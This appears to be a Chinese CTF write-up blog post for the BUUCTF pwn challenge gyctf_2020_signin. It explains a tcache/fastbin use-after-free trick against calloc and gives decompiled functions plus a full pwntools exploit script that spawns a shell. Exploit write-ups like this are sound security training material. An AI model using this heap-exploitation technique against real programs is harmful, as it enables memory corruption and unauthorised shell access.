tcache BUUCTF gyctf_2020_signin
Ubuntu18.04的题
用到了两个特性:
一个是 calloc 的特点:不会分配 tcache chunk 中的 chunk
另一个是 tcache 的特点:在分配 fastbin 中的 chunk 时,若还有其他相同大小的 fastbin_chunk 并且 tcache 还没满时,会将其全部放入 tcache 里。
menu:
1 unsigned __int64 menu() 2 { 3 int choice; // eax 4 __int64 s[3]; // [rsp+0h] [rbp-20h] BYREF 5 unsigned __int64 v3; // [rsp+18h] [rbp-8h] 6 7 v3 = __readfsqword(0x28u); 8 printf("your choice?"); 9 s[0] = 0LL; 10 s[1] = 0LL; 11 memset(s, 0, 0x10uLL); 12 read(0, s, 0xFuLL); 13 choice = atoi((const char *)s); 14 if ( choice == 2 ) 15 { 16 edit(); 17 } 18 else if ( choice > 2 ) 19 { 20 if ( choice != 3 ) 21 { 22 if ( choice == 6 ) 23 backdoor(); 24 goto LABEL_12; 25 } 26 del(); 27 } 28 else 29 { 30 if ( choice != 1 ) 31 { 32 LABEL_12: 33 puts("no such choice!"); 34 return __readfsqword(0x28u) ^ v3; 35 } 36 add(); 37 } 38 return __readfsqword(0x28u) ^ v3; 39 }
add:
unsigned __int64 add() { unsigned int v1; // [rsp+Ch] [rbp-24h] __int64 s[3]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u); puts("idx?"); s[0] = 0LL; s[1] = 0LL; memset(s, 0, 0x10uLL); read(0, s, 0xFuLL); v1 = atoi((const char *)s); if ( addcnt >= 0 && v1 <= 0xF ) { ptrlist[v1] = malloc(0x70uLL); //堆块大小固定fastbin flags[v1] = 1; --addcnt; } return __readfsqword(0x28u) ^ v3; }
delete:
unsigned __int64 del() { unsigned int v1; // [rsp+Ch] [rbp-24h] __int64 s[3]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u); puts("idx?"); s[0] = 0LL; s[1] = 0LL; memset(s, 0, 0x10uLL); read(0, s, 0xFuLL); v1 = atoi((const char *)s); if ( v1 <= 0xF && flags[v1] == 1 ) { free((void *)ptrlist[v1]); //UAF flags[v1] = 0; } return __readfsqword(0x28u) ^ v3; }
edit:
unsigned __int64 edit() { int v1; // [rsp+Ch] [rbp-24h] __int64 s[3]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u); if ( cnt >= 0 ) { puts("idx?"); s[0] = 0LL; s[1] = 0LL; memset(s, 0, 0x10uLL); read(0, s, 0xFuLL); v1 = atoi((const char *)s); read(0, (void *)ptrlist[v1], 0x50uLL); --cnt; } return __readfsqword(0x28u) ^ v3; }
backdoor:
void __noreturn backdoor() { calloc(1uLL, 0x70uLL); if ( ptr ) system("/bin/sh"); exit(0); }
我们先连续申请8个,然后依次释放,会填满 tcache_chunk 并且还有一个被放到 fastbin 中。
然后我们申请一个回来,在 tcache 里预留一个空位给ptr
利用 UAF 修改 fastbin 的 fd 指针指向 prt-0x10,那么 calloc 时会从 fastbin 里分配一个堆,并且认为 prt-0x10,也是一个 chunk,会把它挂在 tcache 里 ,而 tcache 的 next 指向的是上一个 tcache 的 next 处(fastbin 的 fd 会指向上一个的 chunk 头处),使prt 非零,getshell。
exp:
1 from pwn import * 2 context.arch='amd64' 3 context.log_level = 'debug' 4 5 #s=remote("node4.buuoj.cn",29764) 6 s=process('./1') 7 8 def add(idx): 9 s.sendlineafter(b'your choice?',b'1') 10 s.sendlineafter(b'idx?',str(idx)) 11 12 def edit(idx,context): 13 s.sendlineafter(b'your choice?',b'2') 14 s.sendlineafter(b'idx?',str(idx)) 15 s.send(context) 16 17 def delete(idx): 18 s.sendlineafter(b'your choice?',b'3') 19 s.sendlineafter(b'idx?',str(idx)) 20 21 ptr=0x4040C0 22 23 for i in range(8): 24 add(i) 25 26 for i in range(8): 27 delete(i) 28 29 add(8) 30 edit(7,p64(ptr-0x10)) 31 gdb.attach(s) 32 s.sendlineafter(b'your choice?',b'6') 33 34 35 s.interactive()
本文来自博客园,作者:{狒猩橙},转载请注明原文链接:https://www.cnblogs.com/pwnfeifei/p/15732993.html